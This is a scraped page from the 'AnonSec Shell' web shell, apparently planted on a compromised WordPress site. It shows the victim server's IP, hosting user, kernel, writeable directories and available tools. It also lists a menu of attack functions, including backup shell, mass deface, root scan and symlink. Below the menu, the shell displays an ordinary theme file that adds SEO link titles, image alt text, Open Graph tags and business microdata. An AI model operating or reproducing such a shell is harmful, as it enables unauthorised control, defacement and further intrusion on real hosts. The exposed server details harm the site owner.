. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/wp-content/themes/bahamas/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/wp-content/themes/bahamas/include/seo-functions.php
<?php

/****** AGGIUNGO IL TITLE NEI LINK ******/

  function wpex_auto_add_link_titles( $content ) {
    ;
        // No need to do anything if there isn't any content
        if ( empty( $content ) ) {
            return $content;
        } 
	  if(is_admin())
	  {
		  return $content;
	  }
        // Define links array
        $links = array();
    
        // Get page content
        $html = new DomDocument;
        $html->loadHTML( strip_tags($content,'<a>'));
      $html->encoding = 'utf-8';
        $html->preserveWhiteSpace = false;    
        // Loop through all content links
        foreach( $html->getElementsByTagName( 'a' ) as $link ) {
        
            // If the title attribute is already defined no need to do anything
            if ( ! empty( $link->getAttribute( 'title' ) ) ) {
                continue;
            }
    
            // Get link text
            $link_text = $link->textContent;
         
            // Save links and link text in $links array
            if ( $link_text ) {
                $links[] =array($link_text,$link->getAttribute( 'href' ));
            }
    
        }  
        // Loop through links array and update post content to add link titles
        if ( ! empty( $links ) ) {
            foreach ( $links as $itm ) {
            $link=$itm[1];
            $text=$itm[0];
                if ( $link && $text ) {
                    $text    = esc_attr( $text ); // Sanitize
                    //$text    = ucwords( $text );  // Captilize words (looks better imo)
                    $replace = $link .'" title="'. $text .'"'; // Add title to link
                    $content = str_replace( $link .'"', $replace, $content ); // Replace post content
                }
    
            }
        } 
        // Return post content
        return $content;
    
    }

    add_filter( 'the_content', 'wpex_auto_add_link_titles',99 );
    add_filter( 'wp_nav_menu_items', 'wpex_auto_add_link_titles',99 );
	add_filter( 'widget_block_content', 'wpex_auto_add_link_titles',99 ); //contenuto widget block
	add_filter( 'widget_text_content', 'wpex_auto_add_link_titles',99 ); //contenuto widget classic
	//add_filter('wpseo_breadcrumb_single_link', 'wpex_auto_add_link_titles',99); //Breadcrumb Yoast Seo

    
    /****** AGGIUNGO L'ALT NELLE IMMAGINI ******/
    function wpex_auto_add_alt_img( $content ) {
    
        // No need to do anything if there isn't any content
        if ( empty( $content ) ) {
            return $content;
        } 
		if(is_admin())
		{
			return $content;
		}
        // Define links array
        $links = array();
    
        // Get page content
        $html = new DomDocument;
        $html->loadHTML( strip_tags($content,'<img>') );
      $html->encoding = 'utf-8';
        $html->preserveWhiteSpace = false;    
        // Loop through all content links
        foreach( $html->getElementsByTagName( 'img' ) as $link ) {
        
            // If the title attribute is already defined no need to do anything
            if ( ! empty( $link->getAttribute( 'alt' ) ) ) {
                continue;
            }
    
            // Get link text
            $cmd = end(explode("/",$link->getAttribute( 'src' )));
        $cmd1=explode(".",$cmd);
        $link_text=$cmd1[0];
            // Save links and link text in $links array
            if ( $link_text ) {
                $links[] =array($link_text,$link->getAttribute( 'src' ));
            }
    
        }  
        // Loop through links array and update post content to add link titles
        if ( ! empty( $links ) ) {
            foreach ( $links as $itm ) {
            $link=$itm[1];
            $text=$itm[0];
                if ( $link && $text ) {
                    $text    = esc_attr( $text ); // Sanitize
                    $text    = ucwords( $text );  // Captilize words (looks better imo)
                    $comodo=$link;

                    if(wp_is_mobile())
                    {
                        //$comodo=str_replace(".jpg","-450x300.jpg",$comodo);
                        //$comodo=str_replace(".png","-450x300.png",$comodo);
                    }


                    $replace = 'src="'.$comodo .'" alt="'. str_replace(array("-","_")," ",$text) .'"'; // Add title to link
                    $content = str_replace( 'src="'.$link .'"', $replace, $content ); // Replace post content
                }
    
            }
        } 
        // Return post content
        return $content;
    
    }
    add_filter( 'the_content', 'wpex_auto_add_alt_img',99 );



    /****** AGGIUNGO WIDTH AND HEIGHT NELLE IMMAGINI ******/

    function add_img_size($content){
        $pattern = '/<img [^>]*?src="(https?:\/\/[^"]+?)"[^>]*?>/iu';
        preg_match_all($pattern, $content, $imgs);
        foreach ( $imgs[0] as $i => $img ) {
          if ( false !== strpos( $img, 'width=' ) && false !== strpos( $img, 'height=' ) ) {
            continue;
          }
          $img_url = $imgs[1][$i];
          $img_size = @getimagesize( $img_url );
            
          if ( false === $img_size ) {
            continue;
          }
          $replaced_img = str_replace( '<img ', '<img ' . $img_size[3] . ' ', $imgs[0][$i] );
          $content = str_replace( $img, $replaced_img, $content );
        }
        return $content;
      }
      add_filter('the_content','add_img_size',98);






//Custom opengraph
function custom_opengraph() {
global $post;
	
if(has_post_thumbnail($post->ID)) {
	$cardImage = get_the_post_thumbnail_url($post->ID, 'thumbnail');
	$cardWidth = '450';
	$cardHeight = '300';
} else {
	$custom_logo_id = get_theme_mod( 'custom_logo' );
    $logo = wp_get_attachment_image_src( $custom_logo_id , 'full' );
	$cardImage = $logo[0];
	$cardWidth = $logo[1];
	$cardHeight = $logo[2];
}

	
if(is_archive()){
	$term = get_queried_object();
    $metaDescrition = WPSEO_Taxonomy_Meta::get_term_meta( get_queried_object_id(), $term->taxonomy, 'desc' );
	
} else{
	$metaDescrition = get_post_meta(get_the_ID(), '_yoast_wpseo_metadesc', true);

}
	


if(is_front_page()){
	$title= get_bloginfo('name');
} else{
	$title= get_the_title();
}

?>

<meta name="twitter:title" content="<?= $title ?>">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:url" content="<?= get_the_permalink( ) ?>">
<meta name="twitter:description" content="<?= $metaDescrition; ?>"/>
<meta name="twitter:image" content="<?= $cardImage ?>">
<meta name="twitter:site" content="<?= get_site_url( ) ?>">
<meta property="og:title" content="<?= $title ?>"/>
<meta property="og:type" content="article"/>
<meta property="og:url" content="<?= get_the_permalink( ) ?>">
<meta property="og:image" content="<?= $cardImage ?>"/>
<meta property="og:image:secure_url" content="<?= $cardImage ?>">
<meta property="og:image:width" content="<?= $cardWidth ?>">
<meta property="og:image:height" content="<?= $cardHeight ?>">
<meta property="og:image:alt" content="<?= $title ?>">
<meta property="og:image:type" content="image/png">
<meta property="og:site_name" content="<?= get_bloginfo('name')?>"/>
<meta property="og:description" content="<?= $metaDescrition; ?>"/>

<?php
	
}
add_action('wp_head', 'custom_opengraph', 55); 



function addEventListener() {
?>
<script type="text/javascript">
jQuery.event.special.touchstart = {
    setup: function( _, ns, handle ) {
        this.addEventListener("touchstart", handle, { passive: !ns.includes("noPreventDefault") });
    }
};
jQuery.event.special.touchmove = {
    setup: function( _, ns, handle ) {
        this.addEventListener("touchmove", handle, { passive: !ns.includes("noPreventDefault") });
    }
};
jQuery.event.special.wheel = {
    setup: function( _, ns, handle ){
        this.addEventListener("wheel", handle, { passive: true });
    }
};
jQuery.event.special.mousewheel = {
    setup: function( _, ns, handle ){
        this.addEventListener("mousewheel", handle, { passive: true });
    }
};</script>
	<?php

}
add_action('wp_head', 'addEventListener', 55);






//Microdata Local Buisiness
function custom_microdata_local_buisiness(){
	if(get_option('microdataLocalBuisiness')){
		
	$custom_logo_id = get_theme_mod( 'custom_logo' );
    $logo = wp_get_attachment_image_src( $custom_logo_id , 'full' );
	?>
	
<script type="application/ld+json">
		{
		"@context": "https://schema.org",
		"@type" : "LocalBusiness",
		"name" : "<?= get_bloginfo('name')?>",
		"logo" : "<?= $logo[0] ?>",
		"image" : "<?= $logo[0] ?>",
		"telephone" : "<?= get_option('recapiti_telefono1') ?>",
		"email" : "<?= get_option('recapiti_email') ?>",
		"url" : "<?= get_site_url( ) ?>",
		"description" : "<?= get_option('microdataDescription') ?>",
		"address" : {
			"@type" : "PostalAddress",
			"streetAddress" : "<?= get_option('microdataIndirizzoVia') ?>",
			"addressLocality" : "<?= get_option('microdataIndirizzoCitta') ?>",
			"addressRegion" : "<?= get_option('microdataIndirizzoProvincia') ?>",
			"postalCode" : "<?= get_option('microdataIndirizzoCap') ?>"
		}
		
		}
		</script>
	<?php
		
	}
}
add_action('wp_head', 'custom_microdata_local_buisiness', 55); 





?>

Anon7 - 2022
AnonSec Team